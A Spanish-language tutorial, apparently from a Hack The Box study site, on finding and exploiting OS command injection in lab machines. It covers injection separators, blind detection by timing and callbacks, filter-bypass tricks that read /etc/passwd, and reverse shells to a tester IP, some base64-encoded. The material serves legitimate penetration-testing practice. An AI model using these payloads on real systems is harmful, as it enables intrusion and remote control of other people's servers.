Inyección de comandos (OS command injection): detección, blind y bypass de filtros

Cómo encontrar una inyección de comandos en Linux y Windows, confirmarla a ciegas (tiempo, DNS, HTTP) y saltarse los filtros de espacios y palabras.

· 4 min de lectura

La aplicación coge algo que tú escribes y lo mete en un comando del sistema: un ping de diagnóstico, un conversor de ficheros, un comprobador de URLs, el nombre de un fichero que se comprime. Si no lo escapa bien, ejecutas lo que quieras. Hay unas 40 máquinas en el catálogo con inyección de comandos, y es una de las vías más directas a una shell.

Dónde buscarla

  • Funciones que claramente llaman a una herramienta: ping, traceroute, nslookup, whois, comprobar si una web está activa, generar un PDF, convertir una imagen, descomprimir.
  • Parámetros con nombres de fichero, de host o de dirección IP.
  • Cabeceras que la aplicación registra o procesa (User-Agent, X-Forwarded-For) en paneles internos.
  • Campos que acaban en scripts del servidor más tarde (un nombre de usuario que se usa en un cron).

Detectarla

Los separadores que unen comandos en cada shell:

Separador Linux (sh/bash) Windows (cmd) Qué hace
; Sí No Ejecuta uno y luego otro
&& Sí Sí El segundo solo si el primero funciona
|| Sí Sí El segundo solo si el primero falla
| Sí Sí Pasa la salida del primero al segundo
& Sí (en segundo plano) Sí Ejecuta uno y luego otro
Salto de línea (%0a) Sí Sí Termina el comando
`cmd` / $(cmd) Sí No Sustitución: se ejecuta dentro del primero

Empieza por algo que devuelva una salida reconocible:

127.0.0.1; id
127.0.0.1 | id
127.0.0.1%0aid
$(id)
`id`
127.0.0.1 & whoami

Truco

Si tu entrada va entre comillas en el comando (ping -c 1 "ENTRADA"), ciérralas primero: "; id; echo ". Si va como argumento de otra herramienta, a veces basta con una opción suya: -o /var/www/html/x.php en curl o wget es una inyección de argumentos, no de comandos, pero acaba igual.

Cuando no ves la salida (blind)

Lo más habitual. Necesitas una señal que llegue por otro lado:

# Tiempo: la respuesta tarda 5 s más
; sleep 5
& ping -n 6 127.0.0.1 &          # Windows: unos 5 s

# Red: el servidor se conecta a tu equipo
; curl http://10.10.14.5/$(whoami)
; ping -c 2 10.10.14.5
& nslookup prueba.10.10.14.5.nip.io &

Para la señal de red, escucha en tu equipo con sudo tcpdump -ni tun0 icmp (ping) o python3 -m http.server 80 (HTTP). Si llega una petición, ya tienes ejecución: ve directamente a la reverse shell.

Si no hay salida a internet ni a tu IP, escribe la salida en un sitio que puedas leer:

; id > /var/www/html/static/x.txt

Saltarse los filtros

La chuleta de inyecciones web tiene la lista completa. Lo esencial:

# Sin espacios
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
X=$'\x20';cat${X}/etc/passwd

# Palabras prohibidas (cat, whoami, bash...)
w'h'o'am'i
w"h"oami
wh\oami
/???/c?t /etc/passwd             # comodines: /bin/cat
$(printf 'd2hvYW1p' | base64 -d)

# Barra prohibida
cat ${HOME:0:1}etc${HOME:0:1}passwd

# Todo junto: la reverse shell en base64
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQ== | base64 -d | bash

En Windows:

who^ami
powershell -enc <base64 en UTF-16LE>

El generador de PowerShell te da el -enc listo y el codificador convierte a base64, URL o hexadecimal.

De la inyección a una shell

nc -lvnp 4444
; bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f

Si la petición va por URL, codifica & como %26 y + como %2b, o Burp romperá el payload.

Errores típicos

  • Funciona id pero no la reverse shell: hay un cortafuegos de salida. Prueba puertos que suelen estar abiertos (80, 443, 53) o usa la escritura en la web.
  • bash no existe: muchas imágenes Docker solo tienen sh (busybox). Usa la variante con mkfifo y nc, o python3 -c.
  • Se ejecuta pero tarda un minuto: tu entrada se guarda y la procesa un script más tarde (un cron). Es normal; espera o busca el script.

Networked tiene una inyección en un script de cron a través del nombre de un fichero; Jarvis, una en un script de sudo con filtros que hay que saltar; Headless, una en un parámetro de fecha después de robar una cookie con XSS, y CozyHosting, una con un filtro de espacios que se salta con ${IFS}. Al final de esta página tienes el resto.

Y después

Con la shell, sigue la checklist de post-explotación. Si la aplicación pasa tu entrada a una plantilla en vez de a una shell, mira la guía de SSTI; si la mete en una consulta, la de inyección SQL.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Inyección de comandos 40 máquinas

Ver las 40 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo